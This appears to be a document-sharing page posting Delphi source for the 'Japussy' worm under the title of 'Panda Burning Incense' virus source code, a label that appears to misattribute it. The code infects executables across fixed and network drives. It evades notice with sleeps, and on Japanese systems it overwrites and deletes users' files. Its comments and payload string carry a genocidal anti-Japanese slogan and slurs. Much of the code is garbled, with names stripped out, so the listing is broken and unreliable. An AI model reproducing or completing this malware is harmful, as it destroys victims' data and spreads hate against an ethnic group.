熊猫烧香病毒源代码.docx
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- 上传时间:2023-04-24
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熊猫烧香病毒源代码.docx
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熊猫烧香病毒源代码
“熊猫烧香”简介:
“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。
采用“熊猫烧香”头像作为图标。
它的变种会感染EXE可执行文件,被病毒感染的文件图标均变为“熊猫烧香”。
同时,受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。
该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。
目前已有百万台电脑受害。
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法:
upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan!
' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType:
Integer):
Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile:
string;
Si:
STARTUPINFO;
Pi:
PROCESS_INFORMATION;
IsJap:
Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x:
Boolean;
var
Ver:
TOSVersionInfo;
begin
Result :
= False;
Ver.dwOSVersionInfoSize :
= SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result :
= True;
end;
{ 在流之间复制 }
procedure CopyStream(Src:
TStream; sStartPos:
Integer; Dst:
TStream;
dStartPos:
Integer; Count:
Integer);
var
sCurPos, dCurPos:
Integer;
begin
sCurPos :
= Src.Position;
dCurPos :
= Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure Extract:
string);
var
sStream, dStream:
T;
begin
try
sStream :
= T(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream :
= T(, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si:
STARTUPINFO; State:
Word);
begin
Si.cb :
= SizeOf(Si);
Si.lpReserved :
= nil;
Si.lpDesktop :
= nil;
Si.lpTitle :
= nil;
Si.dwFlags :
= STARTF_USESHOWWINDOW;
Si.wShowWindow :
= State;
Si.cbReserved2 :
= 0;
Si.lpReserved2 :
= nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOne:
string);
var
HdrStream, SrcStream:
T;
IcoStream, DstStream:
TMemoryStream;
iID:
LongInt;
aIcon:
TIcon;
Infected, IsPE:
Boolean;
i:
Integer;
Buf:
array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected :
= False;
IsPE :
= False;
SrcStream :
= T(, fmOpenRead);
try
for i :
= 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE :
= True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected :
= True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream :
= TMemoryStream.Create;
DstStream :
= TMemoryStream.Create;
try
aIcon :
= TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle :
= ExtractIcon(HInstance, PChar(), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream :
= T(, fmOpenRead);
//头文件
HdrStream :
= T(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID :
= $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveTo); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure Smash:
string);
var
:
Integer;
i, Size, Mass, Max, Len:
Integer;
begin
try
Set(PChar(), 0); //去掉只读属性
:
= (, fmOpenWrite); //打开文件
try
Size :
= Get(, nil); //文件大小
i :
= 0;
Randomize;
Max :
= Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max :
= 5;
Mass :
= Size div Max; //每个间隔块的大小
Len :
= Length(Catchword);
while i < Max do
begin
(, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
(, Catchword, Len);
Inc(i);
end;
finally
(); //关闭文件
end;
Delete()); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives:
string;
var
DiskType:
Word;
D:
Char;
Str:
string;
i:
Integer;
begin
for i :
= 0 to 25 do //遍历26个字母
begin
D :
= Chr(i + 65);
Str :
= D + ':
\';
DiskType :
= GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result :
= Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask:
string);
var
i, Count:
Integer;
Fn, Ext:
string;
SubDir:
TStrings;
SearchRec:
TSearchRec;
Msg:
TMsg;
function IsValidDir(SearchRec:
TSearchRec):
Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result :
= 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result :
= 1 //不是根目录
else Result :
= 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn :
= Path + SearchRec.Name;
Ext :
= UpperCase(Extract(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOne); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
Smash); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir :
= TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count :
= SubDir.Count - 1;
for i :
= 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList:
string;
i, Len:
Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap :
= True; //去死吧!
DriverList :
= GetDrives; //得到可写的磁盘列表
Len :
= Length(DriverList);
while True do //死循环
begin
for i :
= Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':
\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(Extract(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
Tmp ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
Tmp TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
Extract); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
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